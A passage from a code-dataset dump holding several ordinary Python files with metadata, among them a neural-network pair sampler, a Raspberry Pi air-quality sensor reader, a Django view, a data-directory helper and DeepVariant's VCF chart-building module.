12, "usage_type": "argument"}]} {"seq_id": "13053657321", "text": "import os\nimport random\nimport torch\nimport argparse\nimport numpy as np\n\nfrom io_handler import PairIoHandler, PlayerIoHandler, SampleIoHandler, set_args\nfrom util.utils import clamp, seed_torch, prepare, log_args_and_backup_code\n\n\ndef gen_pairs(grid_size: int, pair_num: int, stride: int = 1) -> np.ndarray:\n \"\"\"\n Input:\n grid_size: int, the image is partitioned to grid_size * grid_size patches. Each patch is considered as a player.\n pair_num: int, how many (i,j) pairs to sample for one image\n stride: int, j should be sampled in a neighborhood of i. stride is the radius of the neighborhood.\n e.g. if stride=1, then j should be sampled from the 8 neighbors around i\n if stride=2, then j should be sampled from the 24 neighbors around i\n Return:\n total_pairs: (pair_num,2) array, sampled (i,j) pairs\n \"\"\"\n\n neighbors = [(i, j) for i in range(-stride, stride + 1)\n for j in range(-stride, stride + 1)\n if\n i != 0 or j != 0]\n\n total_pairs = []\n for _ in range(pair_num):\n while True:\n x1 = np.random.randint(0, grid_size)\n y1 = np.random.randint(0, grid_size)\n point1 = x1 * grid_size + y1\n\n neighbor = random.choice(neighbors)\n x2 = clamp(x1 + neighbor[0], 0, grid_size - 1)\n y2 = clamp(y1 + neighbor[1], 0, grid_size - 1)\n point2 = x2 * grid_size + y2\n\n if point1 == point2:\n continue\n\n if [point1, point2] in total_pairs or [point2, point1] in total_pairs:\n continue\n else:\n total_pairs.append(list([point1, point2]))\n break\n\n return np.array(total_pairs)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--output_dirname', default=\"result\", type=str)\n parser.add_argument('--inter_type', default=\"pixel\", type=str, choices=[\"pixel\"])\n parser.add_argument('--arch', default=\"our_alexnet_cifar10_normal_lr0.01_log1_da_flip_crop_best\", type=str,\n choices=[\n # --- cifar 10 ---\n \"our_alexnet_cifar10_normal_lr0.01_log1_da_flip_crop_best\",\n\n \"our_alexnet_cifar10_dp_pos0_entropy_deltav_baseline_0.5_0.0_lam1.0_1.0_grid16_lr0.01_log1_da_flip_crop_best\",\n \"our_alexnet_cifar10_dp_pos0_deltav_baseline_0.7_0.3_lam1.0_1.0_grid16_lr0.01_log1_da_flip_crop_best\",\n \"our_alexnet_cifar10_dp_pos0_entropy_deltav_baseline_1.0_0.7_lam1.0_1.0_grid16_lr0.01_log1_da_flip_crop_best\",\n\n ])\n parser.add_argument(\"--dataset\", default=\"cifar10\", type=str, choices=['cifar10'])\n parser.add_argument('--gpu_id', default=1, type=int, help=\"GPU ID\")\n parser.add_argument('--chosen_class', default='random', type=str, choices=['random'])\n parser.add_argument('--seed', default=0, type=int, help=\"random seed\")\n parser.add_argument('--grid_size', default=16, type=int,\n help=\"partition the input image to grid_size * grid_size patches\"\n \"each patch is considered as a player\")\n\n args = parser.parse_args()\n\n set_args(args)\n os.environ['CUDA_VISIBLE_DEVICES'] = str(args.gpu_id)\n args.device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\n seed_torch(args.seed)\n\n log_args_and_backup_code(args, __file__)\n\n sample_io_handler = SampleIoHandler(args)\n pair_io_handler = PairIoHandler(args)\n player_io_handler = PlayerIoHandler(args)\n\n image_list_selected = sample_io_handler.load()\n total_pairs = []\n model, dataloader = prepare(args, train=True)\n\n # sample (i,j) pairs and contexts S\n for index, (name, _, _) in enumerate(dataloader):\n print('\\rPairs: \\033[1;31m\\033[5m%03d\\033[0m/%03d' % (index + 1, len(image_list_selected)), end='')\n\n seed_torch(1000 * index + args.seed) # seed for sampling (i,j) pair\n pairs = gen_pairs(args.grid_size, args.pairs_number, args.stride)\n for ratio in args.ratios:\n m = int((args.grid_size ** 2 - 2) * ratio) # m-order\n\n seed_torch(1000 * index + m + 1 + args.seed) # seed for sampling context S\n players_with_ratio = []\n for pair in pairs:\n point1, point2 = pair[0], pair[1]\n context = list(range(args.grid_size ** 2))\n context.remove(point1)\n context.remove(point2)\n\n curr_players = []\n for _ in range(args.samples_number_of_s):\n curr_players.append(np.random.choice(context, m, replace=False)) # sample contexts of cardinality m\n\n players_with_ratio.append(curr_players)\n players_with_ratio = np.array(players_with_ratio) # (pair_num, sample_num_of_s, m), contexts S of cardinality m for different (i,j) pairs\n print(players_with_ratio.shape)\n player_io_handler.save(round(ratio * 100), name[0], players_with_ratio)\n total_pairs.append(pairs)\n total_pairs = np.array(total_pairs) # (num_imgs, num_pairs, 2), all (i,j) pairs\n print(total_pairs.shape)\n pair_io_handler.save(total_pairs)\n print('\\nDone!')\n", "repo_name": "Nebularaid2000/bottleneck", "sub_path": "gen_pairs_pixel.py", "file_name": "gen_pairs_pixel.py", "file_ext": "py", "file_size_in_byte": 5327, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 35, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.random.randint", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 31, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 32, "usage_type": "attribute"}, {"api_name": "random.choice", "line_number": 35, "usage_type": "call"}, {"api_name": "util.utils.clamp", "line_number": 36, "usage_type": "call"}, {"api_name": "util.utils.clamp", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 11, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 53, "usage_type": "call"}, {"api_name": "io_handler.set_args", "line_number": 76, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 77, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 78, "usage_type": "attribute"}, {"api_name": "util.utils.seed_torch", "line_number": 80, "usage_type": "call"}, {"api_name": "util.utils.log_args_and_backup_code", "line_number": 82, "usage_type": "call"}, {"api_name": "io_handler.SampleIoHandler", "line_number": 84, "usage_type": "call"}, {"api_name": "io_handler.PairIoHandler", "line_number": 85, "usage_type": "call"}, {"api_name": "io_handler.PlayerIoHandler", "line_number": 86, "usage_type": "call"}, {"api_name": "util.utils.prepare", "line_number": 90, "usage_type": "call"}, {"api_name": "util.utils.seed_torch", "line_number": 96, "usage_type": "call"}, {"api_name": "util.utils.seed_torch", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 111, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 118, "usage_type": "call"}]} {"seq_id": "12654380528", "text": "#!/usr/bin/python3\n\n#encoding=utf-8\nimport os\nimport serial\nimport time\nimport sys\nimport sqlite3\nfrom struct import *\nser = serial.Serial(\"/dev/ttyAMA0\", baudrate=9600, timeout=2.0)\ndef read_pm_line(_port):\n rv = b''\n while True:\n ch1 = _port.read()\n if ch1 == b'\\x42':\n ch2 = _port.read()\n if ch2 == b'\\x4d':\n rv += ch1 + ch2\n rv += _port.read(38)\n return rv\ndef main():\n i = 1;\n while (i < 10):\n print(\"haha begin %dth round\" % i)\n recv = read_pm_line(ser)\n tmp = recv[4:36]\n datas = unpack('>hhhhhhhhhhhhhhhh', tmp)\n if datas[4] >= 0 and datas[4] < 500 \\\n and datas[3] >= 0 and datas[3] < 500 \\\n and datas[5] >= 0 and datas[5] < 500 \\\n and datas[12] >= 0 and datas[12] < 5000 \\\n and datas[13] > 0 and datas[13] < 400 \\\n and datas[14] > 0 and datas[14] < 800:\n break\n ser.flushInput()\n time.sleep(0.5)\n pm2p5 = datas[4]\n pm1p0 = datas[3]\n pm10 = datas[5]\n HCHO = datas[12]/1000.0\n temp = datas[13]/10.0\n humidity = datas[14]/10.0\n print('heihei %d %d %d %f %f %f' % (pm2p5, pm1p0, pm10, HCHO, temp, humidity));\n i = i + 1\n\n if i == 10:\n print(\"no result\")\n return\n\n pm2p5 = datas[4]\n pm1p0 = datas[3]\n pm10 = datas[5]\n HCHO = datas[12]/1000.0\n temp = datas[13]/10.0\n humidity = datas[14]/10.0\n print('haha %d %d %d %f %f %f' % (pm2p5, pm1p0, pm10, HCHO, temp, humidity));\n\n conn = sqlite3.connect('/home/pi/plantower/plantower.db')\n c = conn.cursor()\n c.execute('''update sensor\n set value = %d\n where key = \"pm2.5\"''' % pm2p5)\n conn.commit()\n c.execute('''update sensor\n set value = %d\n where key = \"pm1.0\"''' % pm1p0)\n conn.commit()\n c.execute('''update sensor\n set value = %d\n where key = \"pm10\"''' % pm10)\n conn.commit()\n c.execute('''update sensor\n set value = %f\n where key = \"HCHO\"''' % HCHO)\n conn.commit()\n c.execute('''update sensor\n set value = %f\n where key = \"temp\"''' % temp)\n conn.commit()\n c.execute('''update sensor\n set value = %f\n where key = \"humidity\"''' % humidity)\n conn.commit()\n conn.close()\n\n ser.flushInput()\n time.sleep(0.1)\nif __name__ == '__main__':\n try:\n main()\n except KeyboardInterrupt:\n if ser != None:\n ser.close()\n", "repo_name": "cooljelly/homeassistant-test", "sub_path": "home/pi/plantower/read_g5st_sensor.py", "file_name": "read_g5st_sensor.py", "file_ext": "py", "file_size_in_byte": 2565, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "serial.Serial", "line_number": 10, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 36, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 58, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 87, "usage_type": "call"}]} {"seq_id": "554744676", "text": "from django.http import Http404\nfrom django.shortcuts import render_to_response\nfrom django.template import RequestContext\nfrom backend.api import Character\n\ndef people(request, role=None):\n \n character_query = Character.Query(request.redis_conn, request.mission.name)\n character_ordering = list(request.redis_conn.lrange(\"character-ordering:%s\" % request.mission.name, 0, -1))\n sort_characters = lambda l: sorted(\n list(l),\n key=lambda x: character_ordering.index(x.identifier) if x.identifier in character_ordering else 100\n )\n\n if role:\n people = [\n {\n 'name': role,\n 'members': sort_characters(character_query.role(role)),\n }\n ]\n more_people = False\n else:\n all_people = sort_characters(character_query)\n astronauts = list(character_query.role('astronaut'))\n ops = sort_characters(character_query.role('mission-ops-title'))\n people = [\n {\n 'name': 'Flight Crew',\n 'members': astronauts,\n 'view': 'full'\n },\n {\n 'name': 'Mission Control',\n 'members': ops,\n 'view': 'simple'\n }\n ]\n more_people = len(list(character_query.role('mission-ops')))\n \n # 404 if we have no content\n if 1 == len(people) and 0 == len(people[0]['members']):\n raise Http404( \"No people were found\" )\n return render_to_response(\n 'people/people.html',\n {\n 'role': role,\n 'people': people,\n 'more_people': more_people,\n },\n context_instance = RequestContext(request),\n )\n", "repo_name": "mickboldon/Spacelog", "sub_path": "website/apps/people/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1712, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "78", "api": [{"api_name": "backend.api.Character.Query", "line_number": 8, "usage_type": "call"}, {"api_name": "backend.api.Character", "line_number": 8, "usage_type": "name"}, {"api_name": "django.http.Http404", "line_number": 43, "usage_type": "call"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 44, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 51, "usage_type": "call"}]} {"seq_id": "71039948063", "text": "import os\nfrom typing import Optional\n\nimport appdirs\n\nAPP_NAME = 'golem'\nDEFAULT_DATA_DIR = 'default'\n\n\ndef get_local_datadir(\n name: Optional[str] = None,\n root_dir: Optional[str] = None,\n env_suffix: Optional[str] = None\n) -> str:\n \"\"\" Helper function for datadir transition.\n\n It returns path to a data directory of given name in 'data' dir.\n Usage should be avoid at all costs. It is always better to ask for\n a dir the upper layer (like Client instance).\n \"\"\"\n if not name:\n name = DEFAULT_DATA_DIR\n\n if not env_suffix:\n from golem.config.active import DATA_DIR # type: ignore # noqa\n env_suffix = DATA_DIR\n\n if not root_dir:\n root_dir = os.path.join(appdirs.user_data_dir(APP_NAME), name)\n return os.path.join(root_dir, env_suffix) # type: ignore # noqa\n", "repo_name": "golemfactory/clay", "sub_path": "golem/core/simpleenv.py", "file_name": "simpleenv.py", "file_ext": "py", "file_size_in_byte": 852, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2915, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.Optional", "line_number": 11, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 12, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 13, "usage_type": "name"}, {"api_name": "golem.config.active.DATA_DIR", "line_number": 26, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "appdirs.user_data_dir", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path", "line_number": 30, "usage_type": "attribute"}]} {"seq_id": "70124817213", "text": "import io\nimport json\nimport os\n\nimport altair as alt\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\n\n# Altair uses a lot of method chaining, such as\n# chart.mark_bar().encode(...).properties(...), so allowing backslash\n# continuation to break this into separate lines makes the code more readable.\n# pylint: disable=g-backslash-continuation\n\nOLD_LIB_BASE_URL = 'https://cdn.jsdelivr.net/npm//'\nNEW_LIB_BASE_URL = 'https://storage.googleapis.com/deepvariant/lib/vega/'\n\nVEGA_VERSION = '5'\nVEGA_LITE_VERSION = '3.4.0'\nVEGA_EMBED_VERSION = '4'\n\n# \"pretty\" genotype strings:\nREF = 'Ref (0/0)'\nHET = 'Het (0/x)'\nHOM = 'Hom (x/x)'\nUNCALLED = 'Uncalled (./.)'\nHET_BOTH = 'Het - two variants (x/y)'\n\n# Establish ordering of bases to keep it consistent\nBASES = ['A', 'G', 'T', 'C']\n\nBAR_COLOR_DEPTH = '#4a1486'\nBAR_COLOR_QUAL = '#0c2c84'\nBAR_COLOR_GQ = '#0c2c84'\n\nBIALLELIC_SNP = 'Biallelic_SNP'\nBIALLELIC_INSERTION = 'Biallelic_Insertion'\nBIALLELIC_DELETION = 'Biallelic_Deletion'\nBIALLELIC_MNP = 'Biallelic_MNP'\nMULTIALLELIC_SNP = 'Multiallelic_SNP'\nMULTIALLELIC_INSERTION = 'Multiallelic_Insertion'\nMULTIALLELIC_DELETION = 'Multiallelic_Deletion'\nMULTIALLELIC_COMPLEX = 'Multiallelic_Complex'\nREFCALL = 'RefCall'\n\nordered_variant_type_labels = [\n BIALLELIC_INSERTION, BIALLELIC_DELETION, BIALLELIC_SNP, BIALLELIC_MNP,\n MULTIALLELIC_INSERTION, MULTIALLELIC_DELETION, MULTIALLELIC_SNP,\n MULTIALLELIC_COMPLEX, REFCALL\n]\n\n\ndef _dict_to_dataframe(dictionary):\n \"\"\"Turn a dict object into a dataframe of with label and value columns.\"\"\"\n df = pd.DataFrame({\n 'label': list(dictionary.keys()),\n 'value': list(dictionary.values())\n })\n return df\n\n\ndef _prettify_genotype(genotype):\n \"\"\"Get more human-readable display name and grouping for a given genotype.\"\"\"\n pretty = genotype\n group = 'others'\n alleles = json.loads(genotype)\n if len(alleles) == 2:\n g1, g2 = sorted(alleles)\n if g1 == 0 and g2 == 0:\n pretty = REF\n group = 'main'\n elif g1 == -1 and g2 == -1:\n pretty = UNCALLED\n elif g1 == 0 and g2 > 0:\n pretty = HET\n group = 'main'\n elif g1 == g2:\n pretty = HOM\n group = 'main'\n else:\n pretty = HET_BOTH\n return pretty, group\n\n\ndef _build_type_chart(variant_type_counts):\n \"\"\"Create a chart of the counts of each variant type.\"\"\"\n width = 400\n height = 200\n title = 'Variant types'\n variant_type_data = _dict_to_dataframe(variant_type_counts)\n type_chart = _placeholder_for_empty_chart(\n 'No entries in VCF', width=width, height=height, title=title)\n if not variant_type_data.empty:\n bars = alt.Chart(variant_type_data).mark_bar().encode(\n x=alt.X(\n 'label',\n title=None,\n sort=ordered_variant_type_labels,\n axis=alt.Axis(labelAngle=-45)),\n y=alt.Y('value', axis=alt.Axis(title='Count', format='s')),\n tooltip=alt.Tooltip('value', format='.4s'),\n color=alt.Color(\n 'label',\n legend=None,\n scale=alt.Scale(scheme='set1', domain=ordered_variant_type_labels)))\n labels = bars.mark_text(dy=-5).encode(text=alt.Text('value', format='.4s'))\n type_chart = (bars + labels).properties(\n width=width, height=height, title=title)\n return type_chart\n\n\ndef _build_qual_histogram(data):\n \"\"\"Create the Quality(QUAL) histogram.\"\"\"\n width = 200\n height = 200\n title = 'Quality score'\n qual_data = pd.DataFrame(data)\n qual_histogram = _placeholder_for_empty_chart(\n 'No entries in VCF', width=width, height=height, title=title)\n if not qual_data.empty:\n # s = bin_start, e = bin_end, c = count\n domain = [min(0, data[0]['s']), max(150, data[-1]['e'])]\n qual_histogram = alt.Chart(qual_data).mark_bar(color=BAR_COLOR_QUAL) \\\n .encode(\n x=alt.X('s', title='QUAL', scale=alt.Scale(domain=domain)),\n x2='e',\n y=alt.Y('c', title='Count', stack=True, axis=alt.Axis(format='s'))) \\\n .properties(\n width=width, height=height,\n title=title) \\\n .interactive(bind_y=False)\n return qual_histogram\n\n\ndef _build_gq_histogram(data):\n \"\"\"Create the Genotype quality (GQ) histogram.\"\"\"\n # gq = genotype quality, found at :GQ: in FORMAT column of VCF\n width = 200\n height = 200\n title = 'Genotype quality'\n gq_data = _integer_counts_to_histogram(data)\n gq_histogram = _placeholder_for_empty_chart(\n 'No entries in VCF with GQ', width=width, height=height, title=title)\n if not gq_data.empty:\n # standardize x-axis limits across reports\n domain = [min(0, data[0][0]), max(150, data[-1][0])]\n # s = bin_start, e = bin_end, c = count\n gq_histogram = alt.Chart(gq_data).mark_bar(color=BAR_COLOR_GQ) \\\n .encode(\n x=alt.X('s', title='GQ', scale=alt.Scale(domain=domain)),\n x2='e',\n y=alt.Y('c', title='Count', stack=True, axis=alt.Axis(format='s'))) \\\n .properties(width=width, height=height, title=title) \\\n .interactive(bind_y=False)\n return gq_histogram\n\n\ndef _build_vaf_histograms(histogram_json):\n \"\"\"Create VAF histograms split by genotype.\"\"\"\n guides = {REF: 0, HET: 0.5, HOM: 1}\n hist_data = pd.DataFrame()\n for key in histogram_json:\n g = pd.DataFrame(histogram_json[key])\n pretty, group = _prettify_genotype(key)\n g['GT'] = pretty # pretty genotype name\n g['g'] = group # main/other genotypes\n g['l'] = guides.get(pretty, None) # vertical line as guide\n hist_data = hist_data.append(g)\n\n main_hist_data = hist_data[hist_data['g'] == 'main']\n other_hist_data = hist_data[hist_data['g'] == 'others']\n\n # Main genotypes (ref, het, hom-alt)\n # Histogram bars themselves\n # s = bin_start, e = bin_end, c = count\n bars = alt.Chart(main_hist_data).mark_bar().encode(\n x=alt.X('s', title='VAF'),\n x2='e',\n y=alt.Y('c', title='Count', stack=True, axis=alt.Axis(format='s')))\n # Vertical lines\n guides = alt.Chart(main_hist_data).mark_rule().encode(x='l')\n # Facet into 3 plots by genotype\n vaf_histograms = (bars + guides) \\\n .properties(width=200, height=200) \\\n .facet(column=alt.Column('GT',\n title='Main genotypes',\n sort=[REF, HET, HOM])) \\\n .resolve_scale(y='independent')\n\n # Other genotypes (uncalled, het with two alt alleles)\n # s = bin_start, e = bin_end, c = count\n other_vaf_histograms = alt.Chart(other_hist_data) \\\n .mark_bar().encode(\n x=alt.X('s', title='VAF'),\n x2='e',\n y=alt.Y('c', title='Count', stack=True, axis=alt.Axis(format='s')),\n column=alt.Column('GT', title='Other genotypes')) \\\n .properties(width=150, height=150) \\\n .resolve_scale(y='independent')\n return vaf_histograms, other_vaf_histograms\n\n\ndef _placeholder_for_empty_chart(text_to_display,\n width=100,\n height=100,\n title=''):\n chart = alt.Chart({'values': [{'placeholder': text_to_display}]}) \\\n .mark_text(size=14).encode(text='placeholder:N') \\\n .properties(width=width, height=height, title=title)\n return chart\n\n\ndef _build_base_change_chart(data):\n \"\"\"Create the base change chart.\"\"\"\n width = 100\n height = 200\n placeholder_width = (4 * width) + 80 # 4 charts, plus constant spacing\n title = 'Biallelic base changes from reference'\n base_change_data = pd.DataFrame(data, columns=['ref', 'alt', 'count'])\n\n base_change_chart = _placeholder_for_empty_chart(\n 'No biallelic SNPs', width=placeholder_width, height=height, title=title)\n if not base_change_data.empty:\n bars = alt.Chart(base_change_data).mark_bar().encode(\n x=alt.X('alt', title='to alt'),\n y=alt.Y('count', title='Count', axis=alt.Axis(format='s')),\n color=alt.Color(\n 'alt',\n legend=None,\n sort=BASES,\n scale=alt.Scale(scheme='category20', domain=BASES)),\n tooltip=alt.Tooltip('count', format='.4s'))\n labels = bars.mark_text(dy=-5, fontWeight='bold').encode(text='alt')\n\n base_change_chart = (bars + labels) \\\n .properties(width=100, height=200) \\\n .facet(column=alt.Column('ref',\n title=title,\n sort=BASES))\n\n return base_change_chart\n\n\ndef _integer_counts_to_histogram(num_count_pairs):\n \"\"\"Turn paired numbers and their counts into data for a histogram.\n\n This centers the bars on the exact integer for clarity. For example, the bar\n for 3 is centered on 3 instead of being between 3 and 4 as in numpy's default\n histogram.\n\n Args:\n num_count_pairs: list of [num, count] pairs\n\n Returns:\n a pandas dataframe with num, count (bin count), s (bin start), e (bin end)\n \"\"\"\n histogram_data = pd.DataFrame(num_count_pairs, columns=['num', 'c'])\n # For a proper histogram, use s and e to force each bar to cover\n # exactly one integer position:\n histogram_data['s'] = histogram_data['num'] - 0.5\n histogram_data['e'] = histogram_data['num'] + 0.5\n histogram_data = histogram_data.drop(columns=['num'])\n return histogram_data\n\n\ndef _build_indel_size_chart(data):\n \"\"\"Create the indel size chart.\"\"\"\n width = 400\n height = 100\n placeholder_height = (2 * height) + 20 # 2 charts, plus spacing\n title = 'Biallelic indel size distribution'\n ordered_labels = ['Insertion', 'Deletion']\n indel_size_data = _integer_counts_to_histogram(data)\n indel_size_data['type'] = np.where(indel_size_data['s'] > 0, 'Insertion',\n 'Deletion')\n\n indel_size_chart = _placeholder_for_empty_chart(\n 'No biallelic indels',\n width=width,\n height=placeholder_height,\n title=title)\n\n if not indel_size_data.empty:\n indels_linear = alt.Chart(indel_size_data).mark_bar().encode(\n x=alt.X('s', title='size'),\n x2='e',\n y=alt.Y('c', title='Count', axis=alt.Axis(format='s')),\n color=alt.Color('type', sort=ordered_labels,\n scale=alt.Scale(scheme='set1'))) \\\n .properties(width=400, height=100,\n title=title) \\\n .interactive(bind_y=False)\n\n indel_log = alt.Chart(indel_size_data).mark_bar().encode(\n x=alt.X('s', title='size'),\n x2='e',\n y=alt.Y(\n 'c',\n title='Count',\n axis=alt.Axis(format='s'),\n scale=alt.Scale(type='log', base=10)),\n color=alt.Color('type', sort=ordered_labels,\n scale=alt.Scale(scheme='set1'))) \\\n .properties(width=400, height=100) \\\n .interactive(bind_y=False)\n\n indel_size_chart = alt.vconcat(indels_linear, indel_log) \\\n .resolve_scale(color='shared')\n return indel_size_chart\n\n\ndef _build_depth_histogram(data):\n \"\"\"Build histogram with depth (DP).\"\"\"\n width = 200\n height = 200\n title = 'Depth'\n depth_data = _integer_counts_to_histogram(data)\n depth_histogram = _placeholder_for_empty_chart(\n 'No entries in VCF with DP', width=width, height=height, title=title)\n if not depth_data.empty:\n # s = bin_start, e = bin_end, c = count\n depth_histogram = alt.Chart(depth_data).mark_bar(color=BAR_COLOR_DEPTH) \\\n .encode(x=alt.X('s', title='Depth'),\n x2='e',\n y=alt.Y('c', title='Count', stack=True, axis=alt.Axis(format='s'))) \\\n .properties(width=width, height=height, title=title) \\\n .interactive(bind_y=False)\n return depth_histogram\n\n\ndef _build_tt_chart(titv_counts):\n \"\"\"Built chart showing counts of transitions and transversions.\"\"\"\n width = 150\n height = 200\n\n ti = titv_counts['Transition']\n tv = titv_counts['Transversion']\n # Show TiTv ratio with fallback to avoid division by 0\n titv_ratio = '%.2f' % (float(ti) / tv) if tv > 0 else '%d / 0' % (ti)\n title = 'Biallelic Ti/Tv ratio: %s' % (titv_ratio)\n\n tt_chart = _placeholder_for_empty_chart(\n 'No biallelic SNPs', width=width, height=height, title=title)\n tt_labels = ['Transition', 'Transversion']\n if sum([titv_counts[k] for k in titv_counts]) > 0:\n tt_data = _dict_to_dataframe(titv_counts)\n bars = alt.Chart(tt_data).mark_bar().encode(\n x=alt.X(\n 'label', sort=tt_labels, axis=alt.Axis(title=None, labelAngle=0)),\n y=alt.Y('value', axis=alt.Axis(title='Count', format='s')),\n tooltip=alt.Tooltip('value', format='.4s'),\n color=alt.Color(\n 'label',\n legend=None,\n sort=tt_labels,\n scale=alt.Scale(scheme='teals', domain=tt_labels)))\n labels = bars.mark_text(dy=-5).encode(text=alt.Text('value', format='.4s'))\n tt_chart = (bars + labels).properties(\n title=title, width=width, height=height)\n return tt_chart\n\n\ndef _build_all_charts(vis_data, sample_name=''):\n \"\"\"Build all charts and combine into a single interface.\"\"\"\n\n # Row 1\n type_chart = _build_type_chart(vis_data['variant_type_counts'])\n depth_chart = _build_depth_histogram(vis_data['depth_histogram'])\n qual_histogram = _build_qual_histogram(vis_data['qual_histogram'])\n gq_histogram = _build_gq_histogram(vis_data['gq_histogram'])\n row1 = alt.hconcat(type_chart, depth_chart, qual_histogram, gq_histogram) \\\n .resolve_scale(color='independent')\n\n # Row 2\n vaf_histograms, other_vaf_histograms = _build_vaf_histograms(\n vis_data['vaf_histograms_by_genotype'])\n row2 = alt.hconcat(vaf_histograms, other_vaf_histograms)\n\n # Row 3\n base_change_chart = _build_base_change_chart(vis_data['base_changes'])\n indel_size_chart = _build_indel_size_chart(vis_data['indel_sizes'])\n tt_chart = _build_tt_chart(vis_data['titv_counts'])\n row3 = alt.hconcat(base_change_chart, tt_chart, indel_size_chart) \\\n .resolve_scale(color='independent')\n\n # Putting it all together\n all_charts = alt.vconcat(row1, row2, row3)\n\n all_charts = all_charts.properties(title=sample_name, spacing=70) \\\n .configure_header(labelFontSize=16, titleFontSize=20) \\\n .configure_title(fontSize=20)\n return all_charts\n\n\ndef _altair_chart_to_html(altair_chart, download_filename):\n \"\"\"Write to a temporary string stand-in for the file to replace import URLs.\n\n Args:\n altair_chart: a chart object made by Altair.\n download_filename: string filename base for when users export images.\n\n Returns:\n HTML in string format.\n \"\"\"\n temp_writer = io.StringIO()\n altair_chart.save(\n temp_writer,\n format='html',\n embed_options={'downloadFileName': download_filename},\n vegalite_version=VEGA_LITE_VERSION,\n vega_version=VEGA_VERSION,\n vegaembed_version=VEGA_EMBED_VERSION)\n temp_html_string = temp_writer.getvalue()\n html_with_new_cdn = temp_html_string.replace(OLD_LIB_BASE_URL,\n NEW_LIB_BASE_URL)\n return html_with_new_cdn\n\n\ndef _save_html(basename, all_charts):\n \"\"\"Save Altair chart as an HTML file.\"\"\"\n output_path = basename + '.visual_report.html'\n image_download_filename = os.path.basename(basename) + '.visual_report'\n html_string = _altair_chart_to_html(\n altair_chart=all_charts, download_filename=image_download_filename)\n\n with tf.io.gfile.GFile(output_path, 'w') as writer:\n writer.write(html_string)\n\n\ndef create_visual_report(basename, vis_data, sample_name=''):\n \"\"\"Build visual report with several charts.\"\"\"\n all_charts = _build_all_charts(vis_data, sample_name)\n _save_html(basename, all_charts)\n", "repo_name": "google/deepvariant", "sub_path": "deepvariant/vcf_stats_vis.py", "file_name": "vcf_stats_vis.py", "file_ext": "py", "file_size_in_byte": 15373, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2970, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.DataFrame", "line_number": 55, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 66, "usage_type": "call"}, {"api_name": "altair.Chart", "line_number": 94, "usage_type": "call"}, {"api_name": "altair.X", "line_number": 95, "usage_type": "call"}, {"api_name": "altair.Axis", "line_number": 99, "usage_type": "call"}, {"api_name": "altair.Y", "line_number": 100, "usage_type": "call"}, {"api_name": "altair.Axis", "line_number": 100, "usage_type": "call"}, {"api_name": "altair.Tooltip", "line_number": 101, "usage_type": "call"}, {"api_name": "altair.Color", "line_number": 102, "usage_type": "call"}, {"api_name": "altair.Scale", "line_number": 105, "usage_type": "call"}, {"api_name": "altair.Text", "line_number": 106, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 117, "usage_type": "call"}, {"api_name": "altair.Chart", "line_number": 123, "usage_type": "call"}, {"api_name": "altair.X", "line_number": 125, "usage_type": "call"}, {"api_name": "altair.Scale", "line_number": 125, "usage_type": "call"}, {"api_name": "altair.Y", "line_number": 127, "usage_type": "call"}, {"api_name": "altair.Axis", "line_number": 127, "usage_type": "call"}, {"api_name": "altair.Chart", "line_number": 148, "usage_type": "call"}, {"api_name": "altair.X", "line_number": 150, "usage_type": "call"}, {"api_name": "altair.Scale", "line_number": 150, "usage_type": "call"}, {"api_name": "altair.Y", "line_number": 152, "usage_type": "call"}, {"api_name": "altair.Axis", "line_number": 152, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 161, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 163, "usage_type": "call"}, {"api_name": "altair.Chart", "line_number": 176, "usage_type": "call"}, {"api_name": "altair.X", "line_number": 177, "usage_type": "call"}, {"api_name": "altair.Y", "line_number": 179, "usage_type": "call"}, {"api_name": "altair.Axis", "line_number": 179, "usage_type": "call"}, {"api_name": "altair.Chart", "line_number": 181, "usage_type": "call"}, {"api_name": "altair.Column", "line_number": 185, "usage_type": "call"}, {"api_name": "altair.Chart", "line_number": 192, "usage_type": "call"}, {"api_name": "altair.X", "line_number": 194, "usage_type": "call"}, {"api_name": "altair.Y", "line_number": 196, "usage_type": "call"}, {"api_name": "altair.Axis", "line_number": 196, 